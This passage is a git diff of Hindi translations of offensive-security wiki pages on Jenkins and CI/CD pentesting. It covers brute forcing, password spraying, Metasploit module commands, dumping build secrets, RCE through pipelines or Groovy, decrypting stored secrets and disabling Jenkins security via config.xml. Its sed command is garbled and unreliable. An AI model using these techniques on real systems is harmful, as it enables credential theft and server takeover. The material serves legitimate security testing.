समीक्षाओं की आवश्यकता**। भंडार के कम से कम 1 कोड मालिक को PR को अनुमोदित करने की आवश्यकता है (ताकि "यादृच्छिक" उपयोगकर्ता इसे अनुमोदित न कर सकें) +- **पुल अनुरोध समीक्षाओं को अस्वीकार करने के लिए किसे प्रतिबंधित करें।** आप उन लोगों या टीमों को निर्दिष्ट कर सकते हैं जिन्हें पुल अनुरोध समीक्षाओं को अस्वीकार करने की अनुमति है। +- **निर्धारित अभिनेताओं को पुल अनुरोध आवश्यकताओं को बायपास करने की अनुमति दें**। ये उपयोगकर्ता पिछले प्रतिबंधों को बायपास करने में सक्षम होंगे। +- **मर्ज करने से पहले स्थिति जांचों को पास करने की आवश्यकता।** कुछ जांचों को कमिट को मर्ज करने से पहले पास करना आवश्यक है (जैसे एक github action यह जांचता है कि कोई स्पष्ट रहस्य नहीं है)। +- **मर्ज करने से पहले बातचीत के समाधान की आवश्यकता**। कोड पर सभी टिप्पणियों को PR को मर्ज करने से पहले हल किया जाना चाहिए। +- **हस्ताक्षरित कमिट्स की आवश्यकता**। कमिट्स को हस्ताक्षरित होना चाहिए। +- **रेखीय इतिहास की आवश्यकता।** मेल खाने वाली शाखाओं में मर्ज कमिट्स को धकेलने से रोकें। +- **व्यवस्थापकों को शामिल करें**। यदि यह सेट नहीं है, तो व्यवस्थापक प्रतिबंधों को बायपास कर सकते हैं। +- **मेल खाने वाली शाखाओं पर धकेलने के लिए किसे प्रतिबंधित करें**। यह निर्धारित करें कि कौन PR भेज सकता है। > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> जैसा कि आप देख सकते हैं, भले ही आप किसी उपयोगकर्ता के कुछ क्रेडेंशियल प्राप्त करने में सफल रहे हों, **भंडार सुरक्षा कर सकते हैं जिससे आप उदाहरण के लिए मास्टर पर कोड धकेलने से रोक सकते हैं** ताकि CI/CD पाइपलाइन को समझौता न किया जा सके। ## References diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 5d4fc0358..deb3bade3 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -1,16 +1,16 @@ -# Jenkins Security +# Jenkins सुरक्षा {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## बुनियादी जानकारी -Jenkins एक उपकरण है जो लगभग **किसी भी** **प्रोग्रामिंग भाषाओं** और स्रोत कोड रिपॉजिटरी के लिए **निरंतर एकीकरण** या **निरंतर वितरण** (CI/CD) वातावरण स्थापित करने के लिए एक सीधा तरीका प्रदान करता है। इसके अलावा, यह विभिन्न नियमित विकास कार्यों को स्वचालित करता है। जबकि Jenkins **व्यक्तिगत चरणों** के लिए स्क्रिप्ट बनाने की **आवश्यकता** को समाप्त नहीं करता, यह निर्माण, परीक्षण, और तैनाती उपकरणों के पूरे अनुक्रम को एक साथ जोड़ने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जो कि मैन्युअल रूप से आसानी से बनाया जा सकता है। +Jenkins एक उपकरण है जो **निरंतर एकीकरण** या **निरंतर वितरण** (CI/CD) वातावरण स्थापित करने के लिए एक सीधा तरीका प्रदान करता है, लगभग **किसी भी** संयोजन के लिए **प्रोग्रामिंग भाषाओं** और स्रोत कोड रिपॉजिटरी का उपयोग करते हुए पाइपलाइनों के माध्यम से। इसके अलावा, यह विभिन्न नियमित विकास कार्यों को स्वचालित करता है। जबकि Jenkins **व्यक्तिगत चरणों के लिए स्क्रिप्ट बनाने की आवश्यकता** को समाप्त नहीं करता है, यह निर्माण, परीक्षण और तैनाती उपकरणों के पूरे अनुक्रम को एकीकृत करने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जो कि मैन्युअल रूप से आसानी से बनाया जा सकता है। {{#ref}} basic-jenkins-information.md {{#endref}} -## Unauthenticated Enumeration +## बिना प्रमाणीकरण के सूचीकरण दिलचस्प Jenkins पृष्ठों की खोज करने के लिए बिना प्रमाणीकरण के जैसे (_/people_ या _/asynchPeople_, यह वर्तमान उपयोगकर्ताओं की सूची बनाता है) आप उपयोग कर सकते हैं: ``` @@ -50,28 +50,28 @@ basic-jenkins-information.md ### ब्रूटफोर्स -**Jenkins** में **पासवर्ड नीति** और **यूजरनेम ब्रूट-फोर्स शमन** की कमी है। यह **ब्रूट-फोर्स** उपयोगकर्ताओं के लिए आवश्यक है क्योंकि **कमजोर पासवर्ड** या **पासवर्ड के रूप में यूजरनेम** का उपयोग हो सकता है, यहां तक कि **उल्टे यूजरनेम के रूप में पासवर्ड** भी हो सकते हैं। +**Jenkins** में **पासवर्ड नीति** और **यूजरनेम ब्रूट-फोर्स शमन** की कमी है। यह **ब्रूट-फोर्स** उपयोगकर्ताओं के लिए आवश्यक है क्योंकि **कमजोर पासवर्ड** या **पासवर्ड के रूप में यूजरनेम** का उपयोग हो सकता है, यहां तक कि **पासवर्ड के रूप में उल्टे यूजरनेम** भी हो सकते हैं। ``` msf> use auxiliary/scanner/http/jenkins_login ``` -### Password spraying +### पासवर्ड स्प्रेइंग Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). -### IP Whitelisting Bypass +### IP व्हाइटलिस्टिंग बायपास कई संगठन **SaaS-आधारित स्रोत नियंत्रण प्रबंधन (SCM) सिस्टम** जैसे GitHub या GitLab को **आंतरिक, स्वयं-होस्टेड CI** समाधान जैसे Jenkins या TeamCity के साथ मिलाते हैं। यह सेटअप CI सिस्टम को **SaaS स्रोत नियंत्रण विक्रेताओं** से **वेबहुक घटनाओं** को **प्राप्त** करने की अनुमति देता है, मुख्य रूप से पाइपलाइन नौकरियों को ट्रिगर करने के लिए। -इसको प्राप्त करने के लिए, संगठन **SCM प्लेटफार्मों** के **IP रेंज** को **व्हाइटलिस्ट** करते हैं, जिससे उन्हें **वेबहुक** के माध्यम से **आंतरिक CI सिस्टम** तक पहुंचने की अनुमति मिलती है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि **कोई भी** GitHub या GitLab पर एक **खाता** बना सकता है और इसे **वेबहुक** को **ट्रिगर** करने के लिए कॉन्फ़िगर कर सकता है, संभावित रूप से **आंतरिक CI सिस्टम** को अनुरोध भेज सकता है। +इसको प्राप्त करने के लिए, संगठन **SCM प्लेटफार्मों** के **IP रेंज** को **व्हाइटलिस्ट** करते हैं, जिससे उन्हें **वेबहुक** के माध्यम से **आंतरिक CI सिस्टम** तक पहुंचने की अनुमति मिलती है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि **कोई भी** GitHub या GitLab पर **खाता** बना सकता है और इसे **वेबहुक** को **ट्रिगर** करने के लिए कॉन्फ़िगर कर सकता है, संभावित रूप से **आंतरिक CI सिस्टम** को अनुरोध भेज सकता है। Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) -## Internal Jenkins Abuses +## आंतरिक Jenkins दुरुपयोग -इन परिदृश्यों में हम मानेंगे कि आपके पास Jenkins तक पहुंचने के लिए एक मान्य खाता है। +इन परिदृश्यों में हम मान लेंगे कि आपके पास Jenkins तक पहुंचने के लिए एक वैध खाता है। > [!WARNING] -> Jenkins में कॉन्फ़िगर की गई **Authorization** तंत्र और समझौता किए गए उपयोगकर्ता की अनुमति के आधार पर, आप **निम्नलिखित हमलों को करने में सक्षम हो सकते हैं या नहीं।** +> Jenkins में कॉन्फ़िगर किए गए **Authorization** तंत्र और समझौता किए गए उपयोगकर्ता की अनुमति के आधार पर, आप **निम्नलिखित हमलों को करने में सक्षम हो सकते हैं या नहीं।** अधिक जानकारी के लिए बुनियादी जानकारी देखें: @@ -79,11 +79,11 @@ Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-ab basic-jenkins-information.md {{#endref}} -### Listing users +### उपयोगकर्ताओं की सूची बनाना -यदि आपने Jenkins तक पहुंच प्राप्त कर ली है, तो आप [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) में अन्य पंजीकृत उपयोगकर्ताओं की सूची देख सकते हैं। +यदि आपने Jenkins तक पहुंच प्राप्त कर ली है, तो आप [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) में अन्य पंजीकृत उपयोगकर्ताओं की सूची बना सकते हैं। -### Dumping builds to find cleartext secrets +### स्पष्ट पाठ रहस्यों को खोजने के लिए निर्माणों को डंप करना Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. ```bash @@ -101,11 +101,11 @@ gitleaks detect --no-git -v ### **Jenkins में RCE** -Jenkins सर्वर में **शेल प्राप्त करना** हमलावर को सभी **रहस्यों** और **env वेरिएबल्स** को लीक करने और **एक ही नेटवर्क में स्थित अन्य मशीनों का शोषण करने** या यहां तक कि **क्लाउड क्रेडेंशियल्स इकट्ठा करने** का अवसर देता है। +Jenkins सर्वर में **शेल प्राप्त करना** हमलावर को सभी **रहस्यों** और **env वेरिएबल्स** को लीक करने और **एक ही नेटवर्क में स्थित अन्य मशीनों का शोषण करने** का अवसर देता है या यहां तक कि **क्लाउड क्रेडेंशियल्स** इकट्ठा करने का भी। डिफ़ॉल्ट रूप से, Jenkins **SYSTEM के रूप में चलेगा**। इसलिए, इसे समझौता करने से हमलावर को **SYSTEM विशेषाधिकार** मिलेंगे। -### **RCE प्रोजेक्ट बनाना/संशोधित करना** +### **प्रोजेक्ट बनाना/संशोधित करना RCE** प्रोजेक्ट बनाना/संशोधित करना Jenkins सर्वर पर RCE प्राप्त करने का एक तरीका है: @@ -113,7 +113,7 @@ Jenkins सर्वर में **शेल प्राप्त करना jenkins-rce-creating-modifying-project.md {{#endref}} -### **RCE Groovy स्क्रिप्ट निष्पादित करना** +### **Groovy स्क्रिप्ट निष्पादित करना RCE** आप एक Groovy स्क्रिप्ट निष्पादित करके भी RCE प्राप्त कर सकते हैं, जो एक नया प्रोजेक्ट बनाने की तुलना में अधिक छिपा हुआ हो सकता है: @@ -121,7 +121,7 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-with-groovy-script.md {{#endref}} -### RCE पाइपलाइन बनाना/संशोधित करना +### पाइपलाइन बनाना/संशोधित करना RCE आप **पाइपलाइन बनाकर/संशोधित करके RCE प्राप्त कर सकते हैं**: @@ -135,31 +135,31 @@ jenkins-rce-creating-modifying-pipeline.md ### बिल्ड पाइपलाइन्स -**पाइपलाइन्स** को **प्रोजेक्ट्स में बिल्ड तंत्र के रूप में** भी उपयोग किया जा सकता है, इस मामले में इसे **भंडार के अंदर एक फ़ाइल** के रूप में कॉन्फ़िगर किया जा सकता है जो पाइपलाइन सिंटैक्स को शामिल करेगा। डिफ़ॉल्ट रूप से `/Jenkinsfile` का उपयोग किया जाता है: +**पाइपलाइन्स** को **प्रोजेक्ट्स में बिल्ड तंत्र के रूप में** भी उपयोग किया जा सकता है, इस मामले में इसे एक **फाइल के रूप में कॉन्फ़िगर किया जा सकता है जो पाइपलाइन सिंटैक्स को शामिल करेगा**। डिफ़ॉल्ट रूप से `/Jenkinsfile` का उपयोग किया जाता है: ![](<../../images/image (127).png>) -यह भी संभव है कि **पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों को अन्य स्थानों पर संग्रहीत किया जाए** (उदाहरण के लिए अन्य भंडार में) जिसका लक्ष्य **भंडार की पहुँच** और पाइपलाइन पहुँच को **अलग करना** है। +यह भी संभव है कि **पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों को अन्य स्थानों पर संग्रहीत किया जाए** (उदाहरण के लिए अन्य रिपॉजिटरी में) ताकि **रिपॉजिटरी** **पहुँच** और पाइपलाइन पहुँच को **अलग** किया जा सके। -यदि एक हमलावर के पास **उस फ़ाइल पर लिखने की पहुँच है** तो वह इसे **संशोधित** कर सकेगा और **संभावित रूप से पाइपलाइन को ट्रिगर** कर सकेगा बिना Jenkins तक पहुँच के।\ +यदि एक हमलावर के पास **उस फ़ाइल पर लिखने का अधिकार है** तो वह इसे **संशोधित** कर सकेगा और **संभावित रूप से पाइपलाइन को ट्रिगर** कर सकेगा बिना Jenkins तक पहुँच प्राप्त किए।\ संभव है कि हमलावर को **कुछ शाखा सुरक्षा को बायपास करना पड़े** (प्लेटफ़ॉर्म और उपयोगकर्ता विशेषाधिकार के आधार पर, उन्हें बायपास किया जा सकता है या नहीं)। कस्टम पाइपलाइन को निष्पादित करने के लिए सबसे सामान्य ट्रिगर्स हैं: - **मुख्य शाखा** पर **पुल अनुरोध** (या संभावित रूप से अन्य शाखाओं पर) - **मुख्य शाखा** पर **पुश** (या संभावित रूप से अन्य शाखाओं पर) -- **मुख्य शाखा को अपडेट करें** और प्रतीक्षा करें जब तक कि इसे किसी तरह निष्पादित नहीं किया जाता +- **मुख्य शाखा को अपडेट करें** और तब तक प्रतीक्षा करें जब तक कि इसे किसी तरह निष्पादित नहीं किया जाता > [!NOTE] -> यदि आप एक **बाहरी उपयोगकर्ता** हैं तो आपको **अन्य उपयोगकर्ता/संस्थान** के भंडार की **मुख्य शाखा** पर **PR बनाने** और **पाइपलाइन को ट्रिगर करने** की उम्मीद नहीं करनी चाहिए... लेकिन यदि यह **खराब कॉन्फ़िगर किया गया है** तो आप पूरी तरह से **कंपनियों को केवल इसका शोषण करके समझौता कर सकते हैं**। +> यदि आप एक **बाहरी उपयोगकर्ता** हैं तो आपको **अन्य उपयोगकर्ता/संस्थान** के रिपॉजिटरी की **मुख्य शाखा** पर **PR बनाने** और **पाइपलाइन को ट्रिगर करने** की उम्मीद नहीं करनी चाहिए... लेकिन यदि यह **खराब कॉन्फ़िगर किया गया है** तो आप केवल **इसका शोषण करके कंपनियों को पूरी तरह से समझौता कर सकते हैं**। ### पाइपलाइन RCE -पिछले RCE अनुभाग में पहले से ही [**पाइपलाइन को संशोधित करके RCE प्राप्त करने की तकनीक**](./#rce-creating-modifying-pipeline) का संकेत दिया गया था। +पिछले RCE अनुभाग में पहले से ही एक तकनीक का संकेत दिया गया था [**पाइपलाइन को संशोधित करके RCE प्राप्त करने के लिए**](./#rce-creating-modifying-pipeline)। -### Env वेरिएबल्स की जाँच करना +### Env वेरिएबल्स की जांच करना -यह संभव है कि **पूरी पाइपलाइन** या विशिष्ट चरणों के लिए **स्पष्ट पाठ env वेरिएबल्स** घोषित किए जाएं। ये env वेरिएबल्स **संवेदनशील जानकारी** नहीं होनी चाहिए, लेकिन एक हमलावर हमेशा **सभी पाइपलाइन** कॉन्फ़िगरेशन/Jenkinsfiles की **जाँच कर सकता है**: +यह संभव है कि **पूरी पाइपलाइन** या विशिष्ट चरणों के लिए **स्पष्ट पाठ env वेरिएबल्स** घोषित किए जाएं। ये env वेरिएबल्स **संवेदनशील जानकारी** नहीं होनी चाहिए, लेकिन एक हमलावर हमेशा **सभी पाइपलाइन** कॉन्फ़िगरेशन/Jenkinsfiles की **जांच कर सकता है**: ```bash pipeline { agent {label 'built-in'} @@ -174,15 +174,15 @@ STAGE_ENV_VAR = "Test stage ENV variables." } steps { ``` -### Dumping secrets +### रहस्यों को डंप करना -Jenkins द्वारा सामान्यतः रहस्यों के साथ कैसे व्यवहार किया जाता है, इसके बारे में जानकारी के लिए बुनियादी जानकारी देखें: +Jenkins द्वारा रहस्यों के साथ सामान्यतः कैसे व्यवहार किया जाता है, इसके बारे में जानकारी के लिए बुनियादी जानकारी देखें: {{#ref}} basic-jenkins-information.md {{#endref}} -क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) या **विशिष्ट परियोजनाओं** (`/job//configure`) के लिए **स्कोप किया जा सकता है**। इसलिए, सभी को निकालने के लिए आपको **कम से कम सभी परियोजनाओं से समझौता करना होगा** जो रहस्यों को शामिल करती हैं और कस्टम/ज़हरीले पाइपलाइनों को निष्पादित करना होगा। +क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) या **विशिष्ट परियोजनाओं** (`/job//configure`) के लिए **स्कोप किया जा सकता है**। इसलिए, सभी को निकालने के लिए आपको **कम से कम सभी परियोजनाओं से समझौता करना होगा** जो रहस्यों को शामिल करती हैं और कस्टम/जहरीले पाइपलाइनों को निष्पादित करना होगा। एक और समस्या है, पाइपलाइन के **env** के अंदर एक **रहस्य** प्राप्त करने के लिए आपको **रहस्य का नाम और प्रकार जानना होगा**। उदाहरण के लिए, यदि आप एक **`usernamePassword`** **रहस्य** को **`string`** **रहस्य** के रूप में **लोड** करने की कोशिश करते हैं, तो आपको यह **त्रुटि** मिलेगी: ``` @@ -219,43 +219,43 @@ env इस पृष्ठ के अंत में आप **सभी क्रेडेंशियल प्रकार** पा सकते हैं: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> **सभी रहस्यों को एक साथ डंप करने** का सबसे अच्छा तरीका **Jenkins** मशीन को **समझौता** करना है (उदाहरण के लिए **बिल्ट-इन नोड** में एक रिवर्स शेल चलाना) और फिर **मास्टर की** और **एन्क्रिप्टेड रहस्यों** को **लीक** करना और उन्हें ऑफलाइन डिक्रिप्ट करना।\ +> **सभी रहस्यों को एक साथ डंप करने** का सबसे अच्छा तरीका **Jenkins** मशीन को **समझौता करना** है (उदाहरण के लिए **बिल्ट-इन नोड** में एक रिवर्स शेल चलाना) और फिर **मास्टर कीज़** और **एन्क्रिप्टेड रहस्यों** को **लीक** करना और उन्हें ऑफलाइन डिक्रिप्ट करना।\ > इसे करने के बारे में अधिक जानकारी [Nodes & Agents section](./#nodes-and-agents) और [Post Exploitation section](./#post-exploitation) में है। ### ट्रिगर्स -[दस्तावेज़ों](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) से: `triggers` निर्देश **स्वचालित तरीकों को परिभाषित करता है जिनसे पाइपलाइन को फिर से ट्रिगर किया जाना चाहिए**। उन पाइपलाइनों के लिए जो GitHub या BitBucket जैसे स्रोत के साथ एकीकृत हैं, `triggers` आवश्यक नहीं हो सकते हैं क्योंकि वेबहुक-आधारित एकीकरण पहले से मौजूद हो सकता है। वर्तमान में उपलब्ध ट्रिगर्स हैं `cron`, `pollSCM` और `upstream`। +[दस्तावेज़ों](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) से: `triggers` निर्देश **स्वचालित तरीकों को परिभाषित करता है जिनमें पाइपलाइन को फिर से ट्रिगर किया जाना चाहिए**। उन पाइपलाइनों के लिए जो GitHub या BitBucket जैसे स्रोत के साथ एकीकृत हैं, `triggers` आवश्यक नहीं हो सकते हैं क्योंकि वेबहुक-आधारित एकीकरण पहले से मौजूद हो सकता है। वर्तमान में उपलब्ध ट्रिगर्स हैं `cron`, `pollSCM` और `upstream`। क्रोन उदाहरण: ```bash triggers { cron('H */4 * * 1-5') } ``` -Check **other examples in the docs**. +चेक करें **दस्तावेज़ों में अन्य उदाहरण**। -### Nodes & Agents +### नोड्स और एजेंट्स -A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines. +एक **Jenkins उदाहरण** में **विभिन्न मशीनों में विभिन्न एजेंट चल सकते हैं**। हमलावर के दृष्टिकोण से, विभिन्न मशीनों तक पहुंच का मतलब है **चोरी करने के लिए विभिन्न संभावित क्लाउड क्रेडेंशियल्स** या **विभिन्न नेटवर्क एक्सेस** जो अन्य मशीनों का शोषण करने के लिए दुरुपयोग किया जा सकता है। -For more information check the basic information: +अधिक जानकारी के लिए बुनियादी जानकारी देखें: {{#ref}} basic-jenkins-information.md {{#endref}} -You can enumerate the **configured nodes** in `/computer/`, you will usually find the **`Built-In Node`** (which is the node running Jenkins) and potentially more: +आप `/computer/` में **कॉन्फ़िगर किए गए नोड्स** की गणना कर सकते हैं, आपको आमतौर पर \*\*`Built-In Node` \*\* (जो Jenkins चला रहा है) और संभावित रूप से अधिक मिलेंगे: ![](<../../images/image (249).png>) -It is **विशेष रूप से दिलचस्प Built-In node को समझौता करना** क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है। +**Built-In नोड को समझौता करना विशेष रूप से दिलचस्प है** क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है। -To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: +आप यह संकेत देने के लिए कि आप **पाइपलाइन** को **बिल्ट-इन Jenkins नोड** में **चलाना** चाहते हैं, पाइपलाइन के अंदर निम्नलिखित कॉन्फ़िगरेशन निर्दिष्ट कर सकते हैं: ```bash pipeline { agent {label 'built-in'} ``` ### पूरा उदाहरण -एक विशेष एजेंट में पाइपलाइन, एक क्रोन ट्रिगर के साथ, पाइपलाइन और स्टेज पर्यावरण चर के साथ, एक चरण में 2 चर लोड करना और एक रिवर्स शेल भेजना: +एक विशेष एजेंट में पाइपलाइन, एक क्रॉन ट्रिगर के साथ, पाइपलाइन और स्टेज पर्यावरण चर के साथ, एक चरण में 2 चर लोड करना और एक रिवर्स शेल भेजना: ```bash pipeline { agent {label 'built-in'} @@ -306,7 +306,7 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## पोस्ट एक्सप्लॉइटेशन +## पोस्ट एक्सप्लोइटेशन ### मेटास्प्लॉइट ``` @@ -314,9 +314,9 @@ msf> post/multi/gather/jenkins_gather ``` ### Jenkins Secrets -आप `/credentials/` को एक्सेस करके सीक्रेट्स की सूची बना सकते हैं यदि आपके पास पर्याप्त अनुमतियाँ हैं। ध्यान दें कि यह केवल `credentials.xml` फ़ाइल के अंदर के सीक्रेट्स की सूची बनाएगा, लेकिन **बिल्ड कॉन्फ़िगरेशन फ़ाइलें** में भी **अधिक क्रेडेंशियल्स** हो सकते हैं। +आप `/credentials/` को एक्सेस करके रहस्यों की सूची बना सकते हैं यदि आपके पास पर्याप्त अनुमतियाँ हैं। ध्यान दें कि यह केवल `credentials.xml` फ़ाइल के अंदर के रहस्यों की सूची बनाएगा, लेकिन **बिल्ड कॉन्फ़िगरेशन फ़ाइलें** भी **अधिक क्रेडेंशियल्स** हो सकती हैं। -यदि आप **प्रत्येक प्रोजेक्ट की कॉन्फ़िगरेशन देख सकते हैं**, तो आप वहाँ **क्रेडेंशियल्स (सीक्रेट्स)** के नाम भी देख सकते हैं जो रिपॉजिटरी और **प्रोजेक्ट के अन्य क्रेडेंशियल्स** तक पहुँचने के लिए उपयोग किए जा रहे हैं। +यदि आप **प्रत्येक प्रोजेक्ट की कॉन्फ़िगरेशन देख सकते हैं**, तो आप वहाँ **क्रेडेंशियल्स (रहस्यों)** के नाम भी देख सकते हैं जो रिपॉजिटरी और **प्रोजेक्ट के अन्य क्रेडेंशियल्स** तक पहुँचने के लिए उपयोग किए जा रहे हैं। ![](<../../images/image (180).png>) @@ -328,12 +328,12 @@ jenkins-dumping-secrets-from-groovy.md #### From disk -इन फ़ाइलों की आवश्यकता है **Jenkins सीक्रेट्स को डिक्रिप्ट करने के लिए**: +इन फ़ाइलों की आवश्यकता है **Jenkins रहस्यों को डिक्रिप्ट करने के लिए**: - secrets/master.key - secrets/hudson.util.Secret -ऐसे **सीक्रेट्स आमतौर पर** मिल सकते हैं: +ऐसे **रहस्य आमतौर पर** मिल सकते हैं: - credentials.xml - jobs/.../build.xml @@ -366,10 +366,10 @@ println(hudson.util.Secret.decrypt("{...}")) ### नया प्रशासनिक उपयोगकर्ता बनाएं 1. `/var/lib/jenkins/config.xml` या `C:\Program Files (x86)\Jenkis\` में Jenkins config.xml फ़ाइल तक पहुँचें। -2. `true` शब्द के लिए खोजें और **`true`** शब्द को **`false`** में बदलें। +2. `true` शब्द के लिए खोजें और शब्द **`true`** को **`false`** में बदलें। 1. `sed -i -e 's/truefalsetrue` में बदलकर **सुरक्षा** को फिर से **सक्षम** करें और **Jenkins को फिर से पुनः प्रारंभ** करें। ## संदर्भ diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 404851b5d..cc228370d 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -6,7 +6,7 @@ ### Username + Password -Jenkins में लॉगिन करने का सबसे सामान्य तरीका एक उपयोगकर्ता नाम या पासवर्ड है। +Jenkins में लॉगिन करने का सबसे सामान्य तरीका एक उपयोगकर्ता नाम या पासवर्ड के साथ है। ### Cookie @@ -14,11 +14,11 @@ Jenkins में लॉगिन करने का सबसे सामा ### SSO/Plugins -Jenkins को प्लगइन्स का उपयोग करके **तीसरे पक्ष के SSO के माध्यम से पहुँच योग्य** बनाया जा सकता है। +Jenkins को **तीसरे पक्ष के SSO के माध्यम से पहुँच योग्य** बनाने के लिए प्लगइन्स का उपयोग करके कॉन्फ़िगर किया जा सकता है। ### Tokens -**उपयोगकर्ता टोकन उत्पन्न कर सकते हैं** ताकि अनुप्रयोगों को CLI या REST API के माध्यम से उनकी नकल करने की अनुमति दी जा सके। +**उपयोगकर्ता टोकन उत्पन्न कर सकते हैं** ताकि CLI या REST API के माध्यम से उनके रूप में अनुप्रयोगों को पहुँच दी जा सके। ### SSH Keys @@ -26,26 +26,26 @@ Jenkins को प्लगइन्स का उपयोग करके ** ## Authorization -`/configureSecurity` में Jenkins के **अधिकार विधि को कॉन्फ़िगर करना संभव है**। कई विकल्प हैं: +`/configureSecurity` में यह संभव है कि **Jenkins के प्राधिकरण विधि को कॉन्फ़िगर किया जाए**। कई विकल्प हैं: - **कोई भी कुछ भी कर सकता है**: यहां तक कि गुमनाम पहुँच भी सर्वर का प्रशासन कर सकती है। - **Legacy mode**: Jenkins <1.164 के समान। यदि आपके पास **"admin" भूमिका** है, तो आपको **पूर्ण नियंत्रण** दिया जाएगा, और **अन्यथा** (जिसमें **गुमनाम** उपयोगकर्ता शामिल हैं) आपको **पढ़ने** की पहुँच मिलेगी। -- **लॉगिन किए गए उपयोगकर्ता कुछ भी कर सकते हैं**: इस मोड में, हर **लॉगिन किया हुआ उपयोगकर्ता Jenkins का पूर्ण नियंत्रण प्राप्त करता है**। एकमात्र उपयोगकर्ता जिसे पूर्ण नियंत्रण नहीं मिलेगा वह **गुमनाम उपयोगकर्ता** है, जिसे केवल **पढ़ने की पहुँच** मिलती है। +- **लॉगिन किए गए उपयोगकर्ता कुछ भी कर सकते हैं**: इस मोड में, हर **लॉगिन किए गए उपयोगकर्ता को Jenkins का पूर्ण नियंत्रण मिलता है**। एकमात्र उपयोगकर्ता जिसे पूर्ण नियंत्रण नहीं मिलेगा वह **गुमनाम उपयोगकर्ता** है, जिसे केवल **पढ़ने की पहुँच** मिलती है। - **Matrix-based security**: आप एक तालिका में **कौन क्या कर सकता है** कॉन्फ़िगर कर सकते हैं। प्रत्येक **स्तंभ** एक **अनुमति** का प्रतिनिधित्व करता है। प्रत्येक **पंक्ति** **एक उपयोगकर्ता या समूह/भूमिका का प्रतिनिधित्व करती है।** इसमें एक विशेष उपयोगकर्ता '**गुमनाम**' शामिल है, जो **अप्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है, साथ ही '**प्रमाणित**', जो **सभी प्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है। ![](<../../images/image (149).png>) -- **Project-based Matrix Authorization Strategy:** यह मोड "**Matrix-based security**" का एक **विस्तार** है जो प्रत्येक परियोजना के लिए **अतिरिक्त ACL मैट्रिक्स को अलग से परिभाषित करने** की अनुमति देता है। -- **Role-Based Strategy:** **भूमिका-आधारित रणनीति** का उपयोग करके अनुमतियों को परिभाषित करने की अनुमति देता है। `/role-strategy` में भूमिकाओं का प्रबंधन करें। +- **Project-based Matrix Authorization Strategy:** यह मोड "**Matrix-based security**" का एक **विस्तार** है जो प्रत्येक परियोजना के लिए अलग-अलग ACL मैट्रिक्स को **परिभाषित करने** की अनुमति देता है। +- **Role-Based Strategy:** एक **भूमिका-आधारित रणनीति** का उपयोग करके प्राधिकरण को परिभाषित करने की अनुमति देता है। `/role-strategy` में भूमिकाओं का प्रबंधन करें। ## **Security Realm** -`/configureSecurity` में **सुरक्षा क्षेत्र को कॉन्फ़िगर करना संभव है।** डिफ़ॉल्ट रूप से Jenkins में कुछ विभिन्न सुरक्षा क्षेत्रों के लिए समर्थन शामिल है: +`/configureSecurity` में यह संभव है कि **सुरक्षा क्षेत्र को कॉन्फ़िगर किया जाए।** डिफ़ॉल्ट रूप से Jenkins में कुछ विभिन्न सुरक्षा क्षेत्रों के लिए समर्थन शामिल है: -- **Delegate to servlet container**: **Jenkins नियंत्रक चलाने वाले एक सर्वलेट कंटेनर के लिए प्रमाणीकरण को सौंपने के लिए**, जैसे [Jetty](https://www.eclipse.org/jetty/)। +- **Delegate to servlet container**: **Jenkins नियंत्रक** चलाने वाले एक सर्वलेट कंटेनर के लिए प्रमाणीकरण को **सौंपना**, जैसे [Jetty](https://www.eclipse.org/jetty/)। - **Jenkins’ own user database:** बाहरी प्रणाली को सौंपने के बजाय प्रमाणीकरण के लिए **Jenkins के अपने अंतर्निहित उपयोगकर्ता डेटा स्टोर** का उपयोग करें। यह डिफ़ॉल्ट रूप से सक्षम है। - **LDAP**: एक कॉन्फ़िगर किए गए LDAP सर्वर को सभी प्रमाणीकरण सौंपें, जिसमें उपयोगकर्ता और समूह दोनों शामिल हैं। -- **Unix user/group database**: **Jenkins नियंत्रक पर अंतर्निहित Unix** OS-स्तरीय उपयोगकर्ता 